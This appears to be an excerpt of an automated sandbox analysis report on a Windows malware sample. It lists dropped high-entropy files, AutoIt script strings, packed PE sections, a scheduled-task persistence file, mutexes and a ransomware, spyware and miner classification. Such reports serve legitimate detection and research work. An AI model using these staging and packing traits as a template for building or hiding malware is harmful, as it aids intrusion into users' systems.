Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Myers entropy: 7.99810465167	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Tft entropy: 7.99780035084	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Malta entropy: 7.99697271132	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Defend entropy: 7.99737032231	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Dallas entropy: 7.99791492523	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Lady entropy: 7.99820999987	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Ecommerce entropy: 7.9980046363	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Blond entropy: 7.99804603974	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Transsexual entropy: 7.99644090271	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Kg entropy: 7.99794619925	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Extensive entropy: 7.99839655337	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Dist entropy: 7.99802986072	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Tourist entropy: 7.99805643218	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Statement entropy: 7.99729068229	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Client entropy: 7.99780539028	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\William entropy: 7.99815922528	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Mel entropy: 7.99794312328	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Bermuda entropy: 7.99769968887	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Strange entropy: 7.9975954959	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Contained entropy: 7.99790073897	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Republicans entropy: 7.99777484468	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Candidates entropy: 7.99829105993	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Webmaster entropy: 7.99788262642	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Fw entropy: 7.99797300074	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Tests entropy: 7.99627419907	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Wow entropy: 7.99697827646	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Parameter entropy: 7.99696880805	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Falls entropy: 7.99738773097	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Streams entropy: 7.99736186351	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Tablets entropy: 7.99711590621	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Participation entropy: 7.99725207434	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Principal entropy: 7.99757779963	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Raise entropy: 7.99800125439	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\More entropy: 7.99724972509	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Optimum entropy: 7.99778496784	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Thursday entropy: 7.99781638581	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\All entropy: 7.99802850254	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Cameras entropy: 7.99773849221	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Editor entropy: 7.99711578224	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Remedy entropy: 7.9979759857	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Users\user\AppData\Local\Temp\Courts entropy: 7.99677164721	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\662510\A entropy: 7.99995042456	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	File created: C:\Users\user\AppData\Local\GuardTech Solutions\K entropy: 7.99995042456	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	File created: C:\Users\user\AppData\Local\Temp\Los entropy: 7.99768365381	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	File created: C:\Users\user\AppData\Local\Temp\Become entropy: 7.99784070507	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	File created: C:\Users\user\AppData\Local\Temp\Howard entropy: 7.99757648221	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	File created: C:\Users\user\AppData\Local\Temp\Vermont entropy: 7.99725611197	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	File created: C:\Users\user\AppData\Local\Temp\Bt entropy: 7.99648411738	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	File created: C:\Users\user\AppData\Local\Temp\Vatican entropy: 7.9972950771	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	File created: C:\Users\user\AppData\Local\Temp\Mental entropy: 7.99804736681	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\768032\G entropy: 7.99966998402	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	File created: C:\Users\user\AppData\Local\InnoSphere Dynamics\l entropy: 7.99966998402	Jump to dropped file

System Summary

Binary is likely a compiled AutoIt script file

Source: 04dc07bf76.exe, 0000002B.00000002.3387714207.00000000003B2000.00000002.00000001.01000000.0000001A.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_fdcf591e-8
Source: 04dc07bf76.exe, 0000002B.00000002.3387714207.00000000003B2000.00000002.00000001.01000000.0000001A.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_c6faa910-e
Source: 04dc07bf76.exe, 00000032.00000002.3424173036.00000000003B2000.00000002.00000001.01000000.0000001A.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d5eb9eec-4
Source: 04dc07bf76.exe, 00000032.00000002.3424173036.00000000003B2000.00000002.00000001.01000000.0000001A.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_203af4a2-1
Source: 04dc07bf76.exe.6.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_b5cef1b5-3
Source: 04dc07bf76.exe.6.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_3777b4e9-8

Drops large PE files

Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe

File dump: service123.exe.7.dr 314617856

Jump to dropped file

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: c7f41aa061.exe.6.dr	Static PE information: section name:
Source: c7f41aa061.exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 3ee5495637.exe.6.dr	Static PE information: section name:
Source: 3ee5495637.exe.6.dr	Static PE information: section name: .idata
Source: 3ee5495637.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 779ae05f2f.exe.6.dr	Static PE information: section name:
Source: 779ae05f2f.exe.6.dr	Static PE information: section name: .rsrc
Source: 779ae05f2f.exe.6.dr	Static PE information: section name: .idata
Source: 779ae05f2f.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: 3907f97605.exe.6.dr	Static PE information: section name:
Source: 3907f97605.exe.6.dr	Static PE information: section name: .idata
Source: 3907f97605.exe.6.dr	Static PE information: section name:

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Code function: 9_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,		9_2_004038AF
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Code function: 22_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,		22_2_004038AF

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Windows\LockedJenny	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Windows\WineDescription	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Windows\UkWilling	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	File created: C:\Windows\CellsPaperbacks	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	File created: C:\Windows\ThouRevolution

Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Code function: 9_2_0040737E	9_2_0040737E
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Code function: 9_2_00406EFE	9_2_00406EFE
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Code function: 9_2_004079A2	9_2_004079A2
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Code function: 9_2_004049A8	9_2_004049A8
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Code function: 22_2_0040737E	22_2_0040737E
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Code function: 22_2_00406EFE	22_2_00406EFE
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Code function: 22_2_004079A2	22_2_004079A2
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Code function: 22_2_004049A8	22_2_004049A8
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014DA0BC	31_3_014DA0BC
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014C5550	31_3_014C5550
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014C5550	31_3_014C5550
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014C5550	31_3_014C5550
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014C5550	31_3_014C5550
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014C5550	31_3_014C5550
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014C5550	31_3_014C5550
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014C5550	31_3_014C5550
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014C5550	31_3_014C5550
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014C5550	31_3_014C5550
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_0024F002	40_1_0024F002
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_000DF424	40_1_000DF424
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_00243414	40_1_00243414
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_00240C70	40_1_00240C70
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_0025247A	40_1_0025247A
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_0015B693	40_1_0015B693
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_0024A0AD	40_1_0024A0AD
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_00250AB8	40_1_00250AB8
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_0023E2E9	40_1_0023E2E9
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_0024BAF0	40_1_0024BAF0
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_002574CD	40_1_002574CD
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_00241964	40_1_00241964
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_00248551	40_1_00248551
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_0024D5A9	40_1_0024D5A9
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_002559B3	40_1_002559B3
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_00253F84	40_1_00253F84
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_0012FDB8	40_1_0012FDB8
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_000FFFB9	40_1_000FFFB9
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_001CE1A4	40_1_001CE1A4
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_00244FC3	40_1_00244FC3
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_001339F8	40_1_001339F8
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_002469D5	40_1_002469D5
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_002349D1	40_1_002349D1
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 40_1_0027EFF7	40_1_0027EFF7

Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Code function: String function: 004062CF appears 57 times
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Code function: String function: 004062CF appears 58 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982491059264306
Source: file.exe	Static PE information: Section: hukqwfqu ZLIB complexity 0.9943376140021459
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982491059264306
Source: skotes.exe.0.dr	Static PE information: Section: hukqwfqu ZLIB complexity 0.9943376140021459
Source: random[2].exe.6.dr	Static PE information: Section: kzyuzjct ZLIB complexity 0.9946100634305682
Source: 3ee5495637.exe.6.dr	Static PE information: Section: kzyuzjct ZLIB complexity 0.9946100634305682
Source: random[1].exe1.6.dr	Static PE information: Section: ozcvkfvj ZLIB complexity 0.9943587005395683
Source: 779ae05f2f.exe.6.dr	Static PE information: Section: ozcvkfvj ZLIB complexity 0.9943587005395683
Source: random[1].exe2.6.dr	Static PE information: Section: ZLIB complexity 0.9992699795081967
Source: random[1].exe2.6.dr	Static PE information: Section: fwtvsnnj ZLIB complexity 0.9945599099864131
Source: 3907f97605.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9992699795081967
Source: 3907f97605.exe.6.dr	Static PE information: Section: fwtvsnnj ZLIB complexity 0.9945599099864131

Source: random[1].exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: c7f41aa061.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.mine.winEXE@125/134@32/9

Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe

9_2_004044D1

Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe

Code function: 9_2_004024FB CoCreateInstance,

9_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7272:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7100:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5804:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3736:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2992:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5952:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
